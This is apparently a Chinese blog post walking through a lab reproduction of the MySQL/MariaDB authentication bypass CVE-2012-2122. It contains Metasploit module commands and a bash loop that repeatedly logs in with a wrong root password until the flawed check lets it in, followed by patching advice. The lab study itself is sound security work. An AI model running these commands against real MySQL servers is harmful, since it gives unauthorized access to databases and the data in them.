当前位置:   article > 正文

MySql身份认证绕过漏洞(CVE-2012-2122)

cve-2012-2122

目录

一、MySql身份认证绕过漏洞(CVE-2012-2122)

1、漏洞简介

2、受影响的版本

二、复现环境

三、漏洞复现

1、进入vulhub-master/mysql/CVE-2012-2122目录下执行如下命令启动测试环境,查看容器启动状态

2、启动msf,查询并使用攻击模块,设置相应的配置,yes处没有的要配置上去不要空着

3、使用exploit或run命令对靶机进行攻击

四、漏洞解决办法

一、MySql身份认证绕过漏洞(CVE-2012-2122)

1、漏洞简介

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

2、受影响的版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

二、复现环境

攻击机:kali-linux-2022.2(IP:192.168.50.133/24)

靶机:Ubuntu(IP:192.168.50.189/24)

Ubuntu已安装vulhub靶场环境,由于该漏洞复现过程较容易,有些地方一笔带过,工具请去官网自行下载

三、漏洞复现

经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系

1、进入vulhub-master/mysql/CVE-2012-2122目录下执行如下命令启动测试环境,查看容器启动状态

        docker-compose up -d

        docker ps

2、启动msf,查询并使用攻击模块,设置相应的配置,yes处没有的要配置上去不要空着

        msfconsole

        search cve-2012-2122

        use 0

        set rhosts 192.168.50.189

3、使用exploit或run命令对靶机进行攻击

        run

漏洞在第三步已复现完,这是补充:在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录,大概需尝试200多次才能拿到mysql数据库的密码,具体多少次忘了,等待时间可能很长:

        for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.50.189 -P3306 ; done

四、漏洞解决办法

1、升级官方补丁

2、更新mysql

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/987253
推荐阅读
相关标签
  

闽ICP备14008679号